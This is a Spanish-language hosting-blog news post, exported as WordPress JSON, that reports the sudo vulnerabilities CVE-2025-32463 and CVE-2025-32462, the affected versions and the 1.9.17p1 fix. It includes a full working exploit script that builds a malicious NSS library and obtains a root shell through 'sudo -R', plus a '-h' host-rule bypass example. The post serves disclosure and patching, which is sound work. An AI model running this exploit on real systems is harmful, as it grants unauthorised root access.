{"id":138584,"date":"2025-07-01T17:11:57","date_gmt":"2025-07-01T15:11:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme"},"modified":"2025-07-01T17:11:57","modified_gmt":"2025-07-01T15:11:57","slug":"uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","title":{"rendered":"Vulnerabilidades en la herramienta sudo que permiten obtener derechos de root en el sistema","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Se ha detectado una vulnerabilidad (CVE-2025-32463) en el paquete sudo, utilizado para ejecutar comandos en nombre de otros usuarios, que permite a cualquier usuario no privilegiado ejecutar c\u00f3digo con privilegios de root, incluso si el usuario no est\u00e1 mencionado en la configuraci\u00f3n de sudoers. Los sistemas operativos afectados incluyen aquellos que utilizan el archivo de configuraci\u00f3n \\\/etc\\\/nsswitch.conf, por ejemplo, se ha demostrado la explotaci\u00f3n de la vulnerabilidad en Ubuntu 24.04 y Fedora 41.     <\/p>\n<p>La vulnerabilidad se manifiesta en la configuraci\u00f3n por defecto y se ha confirmado en las versiones de sudo desde 1.9.14 hasta 1.9.17 (potencialmente afecta todas las versiones a partir de 1.8.33). El problema ha sido corregido en la actualizaci\u00f3n de sudo 1.9.17p1. Para verificar el estado de la nueva versi\u00f3n del paquete o la preparaci\u00f3n de un parche en las distribuciones, se puede consultar las siguientes p\u00e1ginas (si la p\u00e1gina no est\u00e1 disponible, significa que los desarrolladores de la distribuci\u00f3n a\u00fan no han comenzado a abordar el problema): Debian, Ubuntu, Fedora, SUSE\\\/openSUSE, RHEL, Gentoo y Arch (1, 2).       <\/p>\n<p>El problema se debe a que, al aplicar la opci\u00f3n &#171;-R&#187; (&#171;&#8212;chroot&#187;) para ejecutar comandos en un entorno chroot con un directorio ra\u00edz seleccionado por el usuario, el archivo \/etc\/nsswitch.conf se cargaba en el contexto del nuevo directorio ra\u00edz y no en el directorio del sistema. Como el usuario puede utilizar su propio directorio como ra\u00edz para chroot, puede colocar en \u00e9l el archivo de configuraci\u00f3n nsswitch.conf. Al controlar el archivo \/etc\/nsswitch.conf que se carga por el subsistema NSS (Name Service Switch), el usuario puede agregar configuraciones que lleven a la ejecuci\u00f3n de controladores adicionales. Tales controladores son cargados por NSS en forma de bibliotecas compartidas, que tambi\u00e9n pueden ser ubicadas en el directorio controlado por el usuario. Al sustituir su propia biblioteca, el usuario puede lograr la ejecuci\u00f3n de c\u00f3digo desde ella con privilegios de root, ya que el procesamiento de NSS se realiza antes de la reducci\u00f3n de privilegios.    <\/p>\n<p>Ejemplo de exploit:    #!\\\/bin\\\/bash    STAGE=$(mktemp -d \\\/tmp\\\/sudowoot.stage.XXXXXX)  cd ${STAGE?} || exit 1    cat &gt; woot1337.c&lt;&lt;EOF  #include &lt;stdlib.h&gt;  #include &lt;unistd.h&gt;    __attribute__((constructor)) void woot(void) {    setreuid(0,0);    setregid(0,0);    chdir(&#171;\\\/&#187;);    execl(&#171;\\\/bin\\\/bash&#187;, &#171;\\\/bin\\\/bash&#187;, NULL);  }  EOF    mkdir -p woot\\\/etc libnss_  echo &#171;passwd: \\\/woot1337&#187; &gt; woot\\\/etc\\\/nsswitch.conf  cp \\\/etc\\\/group woot\\\/etc  gcc -shared -fPIC -Wl,-init,woot -o libnss_\\\/woot1337.so.2 woot1337.c    echo &#171;woot!&#187;  sudo -R woot woot  rm -rf ${STAGE?}      <\/p>\n<p>En la versi\u00f3n sudo 1.9.17p1 tambi\u00e9n se ha corregido otra vulnerabilidad (CVE-2025-32462) que permite ejecutar comandos con privilegios de root, pero que solo se manifiesta en configuraciones de sudoers donde el par\u00e1metro &#171;host&#187; se establece en un valor diferente a ALL o al nombre del host actual. La vulnerabilidad se debe a un error que provocaba que la opci\u00f3n &#171;-h&#187; (&#171;&#8212;host&#187;) funcionara no solo en combinaci\u00f3n con la opci\u00f3n &#171;-l&#187; (&#171;&#8212;list&#187;) para mostrar los privilegios asociados al host, sino tambi\u00e9n al ejecutar comandos. De este modo, el usuario podr\u00eda especificar al invocar sudo cualquier host y eludir las restricciones en las reglas de sudoers vinculadas al nombre del host.     <\/p>\n<p>Para llevar a cabo el ataque, el usuario debe estar mencionado en sudoers; por ejemplo, si en la configuraci\u00f3n se indica &#171;testuser testhost = ALL&#187;, el usuario &#171;testuser&#187; podr\u00eda especificar &#171;sudo -h testhost&#187; y ejecutar comandos con privilegios de root en cualquier host, no solo en el host testhost. Las configuraciones con ajustes como &#171;testuser ALL = ALL&#187; o sin reglas expl\u00edcitas para un usuario espec\u00edfico no son vulnerables.<br \/>\n<br \/>Fuente: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=63505\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 Ubuntu 24.04 \u0438 Fedora 41. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-138584","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, 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\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\" \/>\n\t\t<meta property=\"og:url\" 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privilegios de root en el sistema | ProHoster","description":"En el paquete sudo, utilizado para gestionar la ejecuci\u00f3n de comandos en nombre de otros usuarios, se ha identificado una vulnerabilidad (CVE-2025-32463) que permite a cualquier usuario no privilegiado ejecutar c\u00f3digo con derechos de root.","canonical_url":"https:\/\/prohoster.info\/es\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"es_ES","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS 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\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 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